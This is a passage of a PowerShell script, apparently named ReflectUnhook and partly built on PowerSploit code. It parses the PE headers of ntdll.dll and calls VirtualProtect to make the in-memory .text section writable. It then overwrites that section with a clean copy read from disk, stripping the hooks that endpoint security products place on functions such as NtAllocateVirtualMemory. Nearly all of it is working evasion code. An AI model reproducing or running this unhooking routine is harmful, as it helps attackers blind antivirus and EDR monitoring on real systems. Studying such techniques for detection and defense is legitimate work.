231 | $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 10))
232 | $e_res2Field.SetCustomAttribute($AttribBuilder)
233 |
234 | $TypeBuilder.DefineField('e_lfanew', [Int32], 'Public') | Out-Null
235 | $IMAGE_DOS_HEADER = $TypeBuilder.CreateType()
236 | $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DOS_HEADER -Value $IMAGE_DOS_HEADER
237 |
238 | #Struct IMAGE_SECTION_HEADER
239 | $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
240 | $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_SECTION_HEADER', $Attributes, [System.ValueType], 40)
241 |
242 | $nameField = $TypeBuilder.DefineField('Name', [Char[]], 'Public, HasFieldMarshal')
243 | $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
244 | $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 8))
245 | $nameField.SetCustomAttribute($AttribBuilder)
246 |
247 | $TypeBuilder.DefineField('VirtualSize', [UInt32], 'Public') | Out-Null
248 | $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null
249 | $TypeBuilder.DefineField('SizeOfRawData', [UInt32], 'Public') | Out-Null
250 | $TypeBuilder.DefineField('PointerToRawData', [UInt32], 'Public') | Out-Null
251 | $TypeBuilder.DefineField('PointerToRelocations', [UInt32], 'Public') | Out-Null
252 | $TypeBuilder.DefineField('PointerToLinenumbers', [UInt32], 'Public') | Out-Null
253 | $TypeBuilder.DefineField('NumberOfRelocations', [UInt16], 'Public') | Out-Null
254 | $TypeBuilder.DefineField('NumberOfLinenumbers', [UInt16], 'Public') | Out-Null
255 | $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
256 | $IMAGE_SECTION_HEADER = $TypeBuilder.CreateType()
257 | $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_SECTION_HEADER -Value $IMAGE_SECTION_HEADER
258 |
259 | return $Win32Types
260 | }
261 |
262 | Function Get-ImageNtHeaders
263 | {
264 | Param(
265 | [Parameter(Position = 0, Mandatory = $true)]
266 | [IntPtr]
267 | $PEHandle,
268 |
269 | [Parameter(Position = 1, Mandatory = $true)]
270 | [System.Object]
271 | $Win32Types
272 | )
273 |
274 | $NtHeadersInfo = New-Object System.Object
275 |
276 | $dosHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PEHandle, [Type]$Win32Types.IMAGE_DOS_HEADER)
277 |
278 | #Get IMAGE_NT_HEADERS
279 | [IntPtr]$NtHeadersPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEHandle) ([Int64][UInt64]$dosHeader.e_lfanew))
280 | $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value $NtHeadersPtr
281 | $imageNtHeaders64 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS64)
282 |
283 | #Make sure the IMAGE_NT_HEADERS checks out. If it doesn't, the data structure is invalid. This should never happen.
284 | if ($imageNtHeaders64.Signature -ne 0x00004550)
285 | {
286 | throw "Invalid IMAGE_NT_HEADER signature."
287 | }
288 |
289 | if ($imageNtHeaders64.OptionalHeader.Magic -eq 'IMAGE_NT_OPTIONAL_HDR64_MAGIC')
290 | {
291 | $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders64
292 | $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $true
293 | }
294 | else
295 | {
296 | $ImageNtHeaders32 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS32)
297 | $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders32
298 | $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $false
299 | }
300 |
301 | return $NtHeadersInfo
302 | }
303 |
304 | Function Write-BytesToMemory
305 | {
306 | Param(
307 | [Parameter(Position=0, Mandatory = $true)]
308 | [Byte[]]
309 | $Bytes,
310 |
311 | [Parameter(Position=1, Mandatory = $true)]
312 | [IntPtr]
313 | $MemoryAddress
314 | )
315 |
316 | for ($Offset = 0; $Offset -lt $Bytes.Length; $Offset++)
317 | {
318 | [System.Runtime.InteropServices.Marshal]::WriteByte($MemoryAddress, $Offset, $Bytes[$Offset])
319 | }
320 | }
321 |
322 | Function Add-SignedIntAsUnsigned
323 | {
324 | Param(
325 | [Parameter(Position = 0, Mandatory = $true)]
326 | [Int64]
327 | $Value1,
328 |
329 | [Parameter(Position = 1, Mandatory = $true)]
330 | [Int64]
331 | $Value2
332 | )
333 |
334 | [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)
335 | [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)
336 | [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0)
337 |
338 | if ($Value1Bytes.Count -eq $Value2Bytes.Count)
339 | {
340 | $CarryOver = 0
341 | for ($i = 0; $i -lt $Value1Bytes.Count; $i++)
342 | {
343 | [UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver
344 |
345 | $FinalBytes[$i] = $Sum -band 0x00FF
346 |
347 | if (($Sum -band 0xFF00) -eq 0x100)
348 | {
349 | $CarryOver = 1
350 | }
351 | else
352 | {
353 | $CarryOver = 0
354 | }
355 | }
356 | }
357 | else
358 | {
359 | Throw "Cannot add bytearrays of different sizes"
360 | }
361 |
362 | return [BitConverter]::ToInt64($FinalBytes, 0)
363 | }
364 |
365 | #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/
366 | Function Get-DelegateType
367 | {
368 | Param
369 | (
370 | [OutputType([Type])]
371 |
372 | [Parameter( Position = 0)]
373 | [Type[]]
374 | $Parameters = (New-Object Type[](0)),
375 |
376 | [Parameter( Position = 1 )]
377 | [Type]
378 | $ReturnType = [Void]
379 | )
380 |
381 | $Domain = [AppDomain]::CurrentDomain
382 | $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
383 | $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
384 | $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
385 | $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
386 | $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
387 | $ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
388 | $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
389 | $MethodBuilder.SetImplementationFlags('Runtime, Managed')
390 |
391 | Write-Output $TypeBuilder.CreateType()
392 | }
393 |
394 | #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/
395 | Function Get-ProcAddress
396 | {
397 | Param
398 | (
399 | [OutputType([IntPtr])]
400 |
401 | [Parameter( Position = 0, Mandatory = $True )]
402 | [String]
403 | $Module,
404 |
405 | [Parameter( Position = 1, Mandatory = $True )]
406 | [String]
407 | $Procedure
408 | )
409 |
410 | $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
411 | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
412 | $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
413 | $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
414 | $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress',[Type[]]@([System.Runtime.InteropServices.HandleRef], [String]))
415 | $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
416 | $tmpPtr = New-Object IntPtr
417 | $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
418 | Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
419 | }
420 |
421 | #PEInfo must contain the following NoteProperties:
422 | # PEHandle: An IntPtr to the address the PE is loaded to in memory
423 | Function Get-PEDetailedInfo
424 | {
425 | Param(
426 | [Parameter( Position = 0, Mandatory = $true)]
427 | [IntPtr]
428 | $PEHandle,
429 |
430 | [Parameter(Position = 1, Mandatory = $true)]
431 | [System.Object]
432 | $Win32Types
433 | )
434 |
435 | if ($PEHandle -eq $null -or $PEHandle -eq [IntPtr]::Zero)
436 | {
437 | throw 'PEHandle is null or IntPtr.Zero'
438 | }
439 |
440 | $PEInfo = New-Object System.Object
441 |
442 | $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $PEHandle -Win32Types $Win32Types
443 |
444 | $PEInfo | Add-Member -MemberType NoteProperty -Name PEHandle -Value $PEHandle
445 | $PEInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value ($NtHeadersInfo.IMAGE_NT_HEADERS)
446 | $PEInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value ($NtHeadersInfo.NtHeadersPtr)
447 | $PEInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value ($NtHeadersInfo.PE64Bit)
448 | $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage)
449 |
450 | if ($PEInfo.PE64Bit -eq $true)
451 | {
452 | [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS64)))
453 | $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr
454 | }
455 | else
456 | {
457 | [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS32)))
458 | $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr
459 | }
460 |
461 | return $PEInfo
462 | }
463 |
464 | Function Get-Win32Functions
465 | {
466 |
467 | # I will only need VirtualProtect for unhooking.
468 | $Win32Functions = New-Object System.Object
469 |
470 | $VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect
471 | $VirtualProtectDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool])
472 | $VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate)
473 | $Win32Functions | Add-Member NoteProperty -Name VirtualProtect -Value $VirtualProtect
474 |
475 | return $Win32Functions
476 | }
477 |
478 | #Copy-Sections based function of PowerSploit (https://github.com/PowerShellMafia/PowerSploit/blob/d943001a7defb5e0d1657085a77a0e78609be58f/CodeExecution/Invoke-ReflectivePEInjection.ps1#L1551)
479 | Function Unhooking
480 | {
481 | Param(
482 | [Parameter(Position = 0, Mandatory = $true)]
483 | [Byte[]]
484 | $PEBytes,
485 |
486 | [Parameter(Position = 1, Mandatory = $true)]
487 | [System.Object]
488 | $PEInfo,
489 |
490 | [Parameter(Position = 2, Mandatory = $true)]
491 | [System.Object]
492 | $Win32Functions,
493 |
494 | [Parameter(Position = 3, Mandatory = $true)]
495 | [System.Object]
496 | $Win32Types
497 | )
498 |
499 | # Iterate on the sections of the PE
500 | for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++)
501 | {
502 |
503 | [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER)))
504 | $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER)
505 |
506 | #Verify if the iterated section is the .text section
507 | if (($SectionHeader.Name -join '') -eq ".text") {
508 |
509 | #SizeOfRawData is the size of the data on disk, VirtualSize is the minimum space that can be allocated
510 | # in memory for the section
511 | $offset = $SectionHeader.PointerToRawData
512 | Write-Verbose "[*] PointerToRawData .text: $($SectionHeader.PointerToRawData)"
513 | Write-Verbose "[*] SizeOfRawData .text: $($SectionHeader.SizeOfRawData)"
514 | Write-Verbose "[*] VirtualAddress .text: $($SectionHeader.VirtualAddress)"
515 |
516 | # Calculate the size of the .text section on disk
517 | $size = $SectionHeader.SizeOfRawData + $offset - 1
518 |
519 | # Index from the previously read ntdll bytes only what we need (.text section)
520 | $newBytes = $PEBytes[$offset..$size]
521 |
522 | # We add the base address (BaseAddres) of ntdl and the virtual address of ntdll
523 | # to obtain the offset of our .text section in memory.
524 | [IntPtr]$offsetVirtual = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$SectionHeader.VirtualAddress) ([Int64]$PEInfo.PEHandle))
525 | Write-Verbose "[*] Virtual .text offset: $offsetVirtual"
526 |
527 | $PAGE_EXECUTE_READWRITE = 0x40
528 |
529 | [UInt32]$OldProtectFlag = 0
530 | # We modify the permissions of our .text section to be able to overwrite in it
531 | $Success = $Win32Functions.VirtualProtect.Invoke($offsetVirtual, $newBytes.Length, $PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag)
532 | if ($Success -eq $false)
533 | {
534 | Throw "[!] Unable to change memory protection"
535 | }
536 |
537 | Write-Verbose "[*] Writing clean bytes to our .text section of ntdll.dll"
538 |
539 | # We write our clean bytes over our ntdll
540 | Write-BytesToMemory -Bytes $newBytes -MemoryAddress $offsetVirtual
541 | return
542 | }
543 |
544 | }
545 | }
546 |
547 | # Function based on Write-BytesToMemory from PowerSploit
548 | Function Read-BytesToMemory
549 | {
550 | Param(
551 | [Parameter(Position=0, Mandatory = $true)]
552 | [Int]
553 | $Length,
554 |
555 | [Parameter(Position=1, Mandatory = $true)]
556 | [IntPtr]
557 | $MemoryAddress
558 | )
559 |
560 | for ($Offset = 0; $Offset -lt $Length; $Offset++)
561 | {
562 | [System.Runtime.InteropServices.Marshal]::ReadByte([IntPtr]::Add($MemoryAddress, $Offset))
563 | }
564 | }
565 |
566 | Function Main()
567 | {
568 |
569 | $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
570 | if ($PtrSize -eq 4) {
571 | Throw "[!] ReflectUnhook only works for 64 bits"
572 | }
573 |
574 | Write-Verbose "PowerShell ProcessID: $PID"
575 |
576 | # We try to check for hooks
577 | $HookCheck = [Byte[]](0x4c, 0x8b, 0xd1, 0xb8)
578 | $NtAllocateVirtualMemory = Get-ProcAddress ntdll.dll NtAllocateVirtualMemory
579 |
580 | [Byte[]] $BytesFunc = Read-BytesToMemory 4 $NtAllocateVirtualMemory
581 | $hexBytes = ($BytesFunc | ForEach-Object { "0x{0:X2}" -f $_ }) -join ', '
582 | if (![System.Linq.Enumerable]::SequenceEqual($HookCheck, $BytesFunc)) {
583 | Write-Host "[*] Hooked function found: $hexBytes" -ForegroundColor Cyan
584 | } else {
585 | Write-Host "[*] Hooked function not found: $hexBytes" -ForegroundColor Red
586 | return
587 | }
588 |
589 | # We read clean ntdll from disk
590 | [Byte[]] $PEBytes = Get-Content -Encoding byte -Raw -Path "C:\Windows\System32\ntdll.dll"
591 | Write-Verbose "[*] Reading ntdll.dll from disk"
592 |
593 | # Simple way to obtain the base address of a dll without PEB Walking
594 | $Proc = Get-Process -Id $Pid
595 | $ntdll = ($Proc.Modules | Where-Object {$_.ModuleName -eq 'ntdll.dll'}).BaseAddress
596 | Write-Verbose "[*] The base address of ntdll.dll is: $ntdll"
597 |
598 | $Types = Get-Win32Types
599 | $Win32Functions = Get-Win32Functions
600 |
601 | Write-Verbose "[*] Getting detailed PE information from the headers loaded in memory"
602 | $PEInfo = Get-PEDetailedInfo -PEHandle $ntdll -Win32Types $Types
603 |
604 | Unhooking -PEBytes $PEBytes -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Types
605 |
606 | # We check if hooks are still present.
607 | [Byte[]] $BytesFunc = Read-BytesToMemory 4 $NtAllocateVirtualMemory
608 | $hexBytes = ($BytesFunc | ForEach-Object { "0x{0:X2}" -f $_ }) -join ', '
609 | if ([System.Linq.Enumerable]::SequenceEqual($HookCheck, $BytesFunc)) {
610 | Write-Host "[*] Successful unhooking: $hexBytes" -ForegroundColor Green
611 | } else {
612 | Write-Host "[*] Unsuccessful unhooking: $hexBytes" -ForegroundColor Red
613 | }
614 |
615 |
616 | }
617 |
618 | Main
619 | }
--------------------------------------------------------------------------------